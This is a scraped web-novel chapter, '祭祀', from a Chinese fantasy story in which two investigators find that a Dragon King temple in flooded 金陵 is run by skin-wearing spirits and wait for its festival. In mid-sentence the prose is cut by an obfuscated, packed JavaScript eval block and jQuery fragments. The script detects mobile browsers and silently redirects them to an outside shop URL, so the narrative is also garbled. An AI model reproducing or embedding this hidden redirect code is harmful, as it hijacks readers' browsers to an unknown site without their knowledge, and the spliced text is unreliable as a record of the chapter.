默认冷灰
24号文字
方正启体

6. 祭祀

作者:绛霖川本书字数:K更新时间:
    “但孩子还是要救,回头打听一下庙祝位置,带人围了,我就不信光天化日,那些妖怪还敢撕破脸皮。”


    妄澜皮笑肉不笑,“你说的带人,不会是指我那些影卫吧。”


    贺明妤此时才显出几分小女孩家的俏皮,她微微偏头,过分苍白的脸上扬起抹甜笑,“不然呢?”


    这笑容太假,刚刚还剑拔弩张的二人,此时配上贺明妤明媚的表情,像是挑衅。


    妄澜感受自己胸腔内飞速跳动的那颗心脏,丹田处一阵气血翻涌,他闭上眼,将怒火强压下去。


    一遇到贺明妤,所有事都失控,他早已习惯。


    话说完,贺明妤心口那股郁气也散了,整个人松懈下来,再提不起半分精神。


    一路舟车劳顿,又淋了场雨,她病怏怏的身体能撑到现在已是奇迹,再次回到宅院前,这一次贺明妤抬起头,看清了大院名称。


    “汪府”


    汪姓不算罕见,只是莫名让贺明妤想起二十年前京城一起灭门惨案,当时权利更迭,户部尚书因站错队,连主动谢职,告老还乡的机会都无,全家上下,算上奴仆家丁共一百多口惨死家中,震惊朝野。


    具体原因无人得知,大理寺追查案子两日就草草结案,说是意外,但其他王公贵族多少知道些内幕,他们全部缄口不言,这事彻底成了个禁忌。


    垂目敛眸,贺明妤抬腿进府,羊角胡的老伯前来带路,一路将贺明妤带到后院,另一侧,妄澜不过坐下歇口茶的功夫,转眼便又带上人出去,片刻也不停歇。


    关于此事,贺明妤知晓妄澜说的并无错处,她二人性格迥异,偏要强凑在一起,自然还需时间磨合,那孩童能否救下,贺明妤并不强求,她只需确认在共同面对问题时,她二人意见相悖,又能否顺利把计划推进下去。


    更不用说贺明妤看着柔弱,实际性子刚正,至纯至善,就算再怎么忍辱负重、自身都难保,依旧透着菩萨般的悲悯。


    这一觉,直到日上三竿,外面暴雨停歇,太阳高挂,贺明妤依旧未起。


    这一梦太长,长到贺明妤再睁眼时,只觉恍然隔世。


    刚盥洗过,一头乌发垂在脑后,还未来得及绾发,房门骤然被敲响。


    门开,妄澜敲门的手悬停在半空,“醒了?身体可有何不适?”


    贺明妤摇头,“只是疲乏,并无不适。”


    “既然如此,你先休整,等晚上再与你商讨。”


    说着,妄澜转身,便要离去。


    “慢着。”


    贺明妤随手将满头乌发卷起,用一根长簪固定:“有什么事,现在说吧。”


    二人并肩,在竹林长廊映下的阴影里穿行。


    “贺小姐,你是不是提前知道了什么?”


    这话没来由,贺明妤摇头:“意动心起,不问目的,知不知晓,并不妨碍我执着于此。”


    妄澜双眸有片刻失神,不知想到什么,他唇角再度紧抿,再添几番戾气。


    “你我几分本事加身,总能撞见这些邪门事,你可知昨天我带人去寻,看到了什么?”


    “直说便是。”


    “那座龙王庙是个空壳庙,里面没有佛陀,只有伪装成教众的牛鬼蛇神趴在香炉前吸食香火。


    里面什么精怪都有,就是可惜了,我怕被我吃下,该加的运算不到你头上,所以只是驱赶。


    你说昨夜见那老妪,看见她气运尽断,实则不然,她披上死人皮,借亡者躯壳,自然显不出与旁人的缘分来,再有,那孩童被吃了一魂,要不快些处理脏东西,时间一长那孩子必定痴傻,药石无医。”


    走到前厅,羊角胡的管家正巧在布菜,他招呼二人坐下,顺嘴又问贺明妤一句:“不知小姐能否吃的惯江南菜,这些是老奴吩咐厨房做的改版,您试试。”


    “仅我一人吃不惯?妄大人不也是京城人,他就吃的惯了?”


    老伯憨笑着:“哪呀,我们主子在京城才当过几年官,他幼时在江南,最爱凤尾虾、盐水鸭、松子熏肉,爱吃的多着呢。


    松子熏肉原要些乳猪、瘦猪五花,他不爱那些,就喜欢肥厚的,旁人瞧着就腻,那时长身体的半大小子吃起来没够……。”


    “咔哒”


    妄澜把筷子磕在桌上,止住老伯打开的话匣子。


    “下去,聒噪。”


    套过话,贺明妤唇角微弯,夹起盘中最肥的一块松子熏肉在妄澜碗中。


    ————


    用过餐,二人坐上马车,车上多了一人,丁寅看见贺明妤来,微微颔首示意,“贺小姐,中午好。”


    对妄澜这些下属,贺明妤一向言笑晏晏,态度好的不像话。


    三人同程马车,朝着昨夜贺明妤未曾瞧见,但堪比百鬼夜行般的龙王庙赶去。


    此时有丁寅在中间,三人谈论公事公办,少了几分针锋相对的火药味。


    “贺小姐打算如何收妖?”


    妄澜先张口,贺明妤也不知,她摇头:“我看不见那些东西,它们披上人皮,我又拿它们毫无办法,这是一条死路。”


    “死路也要走出生路来,再想想办法。”


    说着,丁寅蓦然张口:“其实我总想着,贺小姐借因果入手害人,大多是自己先挑头,主动与对方牵扯上因果,对吧?”


    作为受害者,妄澜点头,贺明妤面上一哂,偏头不敢望他。


    丁寅继续说道:“那假如让对方先手,主动靠近贺小姐,与贺小姐产生因果联系,是否情况有所不同?”


    闻言,其余二人对视一眼,都觉得在理。


    “无妨,今天先试试,能行最好,不行,日后再谈其他。”


    妄澜望向窗外,面上不见半分急色。


    在这方面,他二人都是摸石头过河,上天给的天赋落在他二人头顶,实在浪费,如同捧着金冠的稚童,只是东一榔头西一棒槌的瞎试探。


    马车一路赶往城外,远远看见矮山坡上一座气阔华美的庙宇矗立在那,灾荒年间,百姓饭都快吃不起了,还有余钱修缮寺庙。


    贺明妤瞧不出什么异样,在妄澜眼中,那座龙王庙妖气冲天,来自动物身上的腥臭骚气,隔得老远传进妄澜鼻腔里,直叫人作呕。


    这里的妖已经跑空,走进殿内,只剩下跑来上香拜佛的信众,没看见僧人,他们并不放弃,固执的守在庙祝禅房外,口口声声哀求菩萨睁眼。


    江南水灾已经持续半年之久,如今秋日,第二茬水稻刚播种下去,就盼着冬日收获粮食,来补全近一年的损失。


    一场大雨,终归毁了所有农民的幻想,雨水引起河流涨潮,海水倒灌,出海的渔夫也注定无所收


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290465|198501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    获。


    贺明妤收回视线,不愿多看。


    “那家的孩子,你送回去了?”


    “未曾,送回去,妖怪照样要去寻,披着神婆外皮,唬人的很,等解决了再送也不迟。”


    跟聪明人同谋,省去许多问题。


    贺明妤快走几步进入正厅,那座高三米的龙像通体金黄,唯有一双眼镂空,没有嵌入眼珠,也可能是精怪存心为入庙算计,刻意省了材料。


    前方香案上,燃尽的短香插满其中,香炉底下掉落的香灰堆叠成小山,里面承尽百姓朴素的愿望,得到的,却是精怪趴在他们头顶,啖尽血肉精气。


    “妄大人,你说精怪为吸食香火,夺人精魄,就该让涝灾永不停息,可精怪,哪来的能力布云施雨?”


    处处透着古怪。


    贺明妤抬眼,看向四周墙壁刻画的108罗汉,各个青面獠牙,眸中凶光毕露,哪有佛陀半分慈悲?


    “还有,龙王庙够灵,才能心甘情愿吸引信众,你看此地香火与装潢,瞧着可不像水灾发生后,短时间内快速累积声量能达到的高度,它们哪来的能耐?”


    查了一圈,没得出结论。


    精怪散尽,饶是想抓一只来问问,都找不到门路。


    “无事,不是还有场龙王祭?不怕它们不现身。”


    寺庙人多,妄澜左右探查一圈,他身形高大,周身气势强横,与他对上视线的自觉绕路,将他二人身边位置空出。


    贺明妤不想太招摇,转身拉着妄澜离去。


    却无人注意,一个还没人大腿高的稚童站在贺明妤二人离去的位置,直直望着那尊佛像,看够了,他转头看向大门外那辆缓缓驶去的马车,久久无言。


    这次返程,妄澜难得张口:“时候尚早,既然要等龙王祭,不如去市集看看?贺小姐第一次来金陵,还未见识过吧?”


    贺明妤摇摇头:“等精怪除尽,再逛也不迟。”


    于是,马车再次驶回汪府,二人各忙各的,再无一句多言。


    虽说斩妖除魔、夺邪物气运还只是个想法,能否做到尚且不知,贺明妤依旧下足了功夫,那日丁寅提议没得到印证,贺明妤心下没底,但机会不等人,于是贺明妤决定对照古书,自己画符,炼制法器。


    没忙几日,被妄澜知晓,他瞧着那些符纸,冷峻的五官浮现抹笑意,“别白费功夫了,你要防身,何不跟我知会一声。”


    说着,他从袖袋掏出一两指宽的瓷瓶,“此物你收好。”


    看着那瓷瓶,贺明妤好奇,打开塞子,里面深红色液体,泛着淡淡血腥气,虽然清楚是什么,想来效果不会差,仅瞧一眼,贺明妤赶紧将瓷瓶合上。


    “谢妄大人赏赐。”


    为着即将到来的龙王祭,贺明妤心绪不平,连续几天几夜梦到的都是自己想法化作泡影,其实她根本无法夺妖物气运,到头来,还是要她去害人。


    妄澜倒是泰然自若,分毫不受影响。


    等真到了那所谓的大日子,不用特地盯梢,金陵街头巷尾处处挂上红绸,将自己仅剩不多的粮食献出来,摆在门前,只等着从龙王庙走出来的祭祀队伍路过。


    也正如他们所料,被妄澜赶跑没两日的妖怪再度出现,挂着死人皮,冠冕堂皇出现在人前,摇身一变,成了传达神明旨意的使者。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)